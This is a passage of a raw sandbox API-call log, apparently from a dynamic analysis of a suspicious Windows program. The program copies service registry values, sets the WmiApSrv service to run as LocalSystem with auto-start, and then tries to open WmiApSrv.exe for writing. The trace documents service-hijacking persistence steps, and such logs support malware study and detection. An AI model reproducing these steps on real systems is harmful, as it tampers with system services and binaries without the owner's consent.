RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0259.983] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0259.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0259.983] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0259.984] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0259.984] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0259.984] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0259.984] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0259.984] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0259.984] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0259.984] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0259.984] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0259.984] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0259.985] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0259.985] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0259.985] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0259.985] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0259.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0259.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0259.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0259.985] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0259.985] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0259.985] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0259.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0259.986] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0259.986] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0259.986] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0259.986] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0259.986] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0259.986] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0259.986] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0259.986] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0259.986] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0259.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0259.987] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0259.987] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0259.987] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0259.987] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0259.987] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0259.987] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0259.987] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0259.987] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0259.987] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0259.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0259.988] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0259.988] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0259.988] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0259.988] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0259.988] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0259.988] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0259.988] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0259.988] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0259.988] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0259.988] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0259.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0259.989] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0259.989] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0259.989] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0259.989] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0259.989] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0259.989] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0259.989] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0259.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0259.989] LocalFree (hMem=0x7f03d0) returned 0x0 [0259.989] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe", cbData=0x26 | out: lpData="C:\\Windows\\system32\\wbem\\WmiApSrv.exe") returned 0x0 [0259.989] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x2) returned 0x803990 [0260.033] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0260.034] CloseServiceHandle (hSCObject=0x803990) returned 1 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.034] RegCloseKey (hKey=0xc4) returned 0x0 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0260.034] RegCloseKey (hKey=0x150) returned 0x0 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0260.034] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0260.034] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51b7192e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x51b7192e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0260.034] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\WmiApSrv.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiapsrv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.035] GetLastError () returned 